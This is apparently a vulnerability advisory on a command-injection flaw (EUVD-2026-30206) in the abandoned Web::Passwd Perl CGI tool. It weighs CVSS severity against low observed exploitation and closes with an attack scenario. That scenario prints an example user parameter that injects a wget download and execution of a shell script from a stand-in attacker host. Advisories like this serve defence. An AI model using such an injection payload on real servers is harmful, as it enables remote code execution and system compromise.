Web::Passwd EUVD-2026-30206

Exploitation requires the Web::Passwd CGI application to be deployed and accessible via HTTP/HTTPS on the target web server. No authentication is required (PR:N) and the vulnerability affects default configurations with no special features needing activation. The CGI script must be executable by the web server process and able to invoke the htpasswd system command. Standard web server configurations running Perl CGI meet these requirements. Limiting factors: the package has negligible modern deployment due to its 2004 abandonment; most organizations have migrated to maintained password management solutions. Organizations still running legacy Perl CGI stacks with this specific module remain vulnerable to remote unauthenticated command injection against default installations.

This vulnerability presents a stark contrast between theoretical severity and practical risk. CVSS 9.8 (Critical) reflects worst-case technical impact: network-accessible remote code execution requiring no authentication (AV:N/AC:L/PR:N/UI:N) with full system compromise potential (C:H/I:H/A:H). However, EPSS exploitation probability is extremely low (0.04%, 12th percentile), suggesting negligible observed attack activity. The package was last updated in 2004 and has minimal deployment footprint in modern environments-most organizations using htpasswd management have migrated to maintained solutions. The oss-security disclosure provides technical details enabling exploitation, but no CISA KEV listing indicates no widespread targeting. Real-world risk depends entirely on whether organizations still run this 20-year-old CGI application; for those that do, risk is genuinely critical due to trivial exploitation and web server privilege execution. For the broader ecosystem, this represents near-zero material risk given the obsolete technology stack (Perl CGI) and negligible installation base.

An unauthenticated attacker identifies a publicly accessible Web::Passwd CGI endpoint through web reconnaissance. They submit a crafted HTTP request with a malicious user parameter containing shell metacharacters, such as 'testuser;wget http://attacker.com/shell.sh -O /tmp/shell.sh;bash /tmp/shell.sh'. The unsanitized parameter is passed directly to the htpasswd command execution, causing the injected commands to execute with web server privileges (typically www-data or apache). The attacker gains immediate code execution, establishes persistence, and pivots to internal network reconnaissance. Publicly available exploit code exists per oss-security disclosure, reducing exploitation complexity to script-kiddie level.